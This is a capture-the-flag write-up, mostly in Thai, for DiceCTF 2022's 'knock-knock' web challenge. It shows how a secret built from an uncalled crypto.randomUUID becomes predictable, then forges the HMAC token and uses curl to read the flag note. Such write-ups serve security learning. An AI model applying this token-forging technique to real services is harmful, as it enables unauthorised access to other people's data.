--- tags: CTF --- # DiceCTF 2022: knock-knock ## Code Review ```python= const crypto = require('crypto'); class Database { constructor() { this.notes = []; this.secret = `secret-${crypto.randomUUID}`; } createNote({ data }) { const id = this.notes.length; this.notes.push(data); return { id, token: this.generateToken(id), }; } getNote({ id, token }) { if (token !== this.generateToken(id)) return { error: 'invalid token' }; if (id >= this.notes.length) return { error: 'note not found' }; return { data: this.notes[id] }; } generateToken(id) { return crypto .createHmac('sha256', this.secret) .update(id.toString()) .digest('hex'); } } const db = new Database(); db.createNote({ data: process.env.FLAG }); const express = require('express'); const app = express(); app.use(express.urlencoded({ extended: false })); app.use(express.static('public')); app.post('/create', (req, res) => { const data = req.body.data ?? 'no data provided.'; const { id, token } = db.createNote({ data: data.toString() }); res.redirect(`/note?id=${id}&token=${token}`); }); app.get('/note', (req, res) => { const { id, token } = req.query; const note = db.getNote({ id: parseInt(id ?? '-1'), token: (token ?? '').toString(), }); if (note.error) { res.send(note.error); } else { res.send(note.data); } }); app.listen(3000, () => { console.log('listening on port 3000'); }); ``` Flag ถูกเก็บไว้ใน database ตอนแรกที่โปรแกรมทำงาน ```javascript=32 const db = new Database(); db.createNote({ data: process.env.FLAG }); ``` Flag จะอยู่ใน note id ที่ 0 เพราะเป็นการเรียกใช้ createNote ครั้งแรก ```javascript=13 createNote({ data }) { const id = this.notes.length; this.notes.push(data); return { id, token: this.generateToken(id), }; } ``` ที่นี้เรารู้แล้วว่า flag อยู่ที่ note id 0 แต่การจะอ่าน note ได้ต้องมีการใช้ token ด้วย ```bash $ curl "https://knock-knock.mc.ax/note?id=0&token=123" invalid token ``` โดยที่จะถูกตรวจสอบจาก generateToken(id) ว่าตรงกันไหม ```javascript=18 getNote({ id, token }) { if (token !== this.generateToken(id)) return { error: 'invalid token' }; if (id >= this.notes.length) return { error: 'note not found' }; return { data: this.notes[id] }; } ``` token จะถูกสร้างโดยการทำ Hmac(secret,id) แต่เราไม่รู้ว่า secret คืออะไร ```javascript=24 generateToken(id) { return crypto .createHmac('sha256', this.secret) .update(id.toString()) .digest('hex'); } ``` โดยที่ secret จะเป็นการสุมจาก crypto.randomUUID แต่ code ที่เขียนไม่ใช่การเรียกใช้ fucntion แต่เป็นการแทนค่าตัว function เข้าไปทำให้เราสารารถรู้ตัว secret จะเป็นค่าเดิมทุกครั้ง ```javascript=4 constructor() { this.notes = []; this.secret = `secret-${crypto.randomUUID}`; } ``` ลองแก้ไข code เพื่อดูค่า secret กับ flag token ```javascript=32 const db = new Database(); const { id, token } = db.createNote({ data: process.env.FLAG }); console.log(`secret: ${db.secret}`) console.log(`flag_token: ${token}`) ``` จะเห็นว่า secret จะเป็นค่า string ของ code randomUUID เสมอ ```bash $ node index.js secret: secret-function randomUUID(options) { if (options !== undefined) validateObject(options, 'options'); const { disableEntropyCache = false, } = options || {}; validateBoolean(disableEntropyCache, 'options.disableEntropyCache'); return disableEntropyCache ? getUnbufferedUUID() : getBufferedUUID(); } flag_token: 7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264 ``` ทำให้เราสามารถเอาค่า token ไปใช้ได้เลย ``` $ curl "https://knock-knock.mc.ax/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264" dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}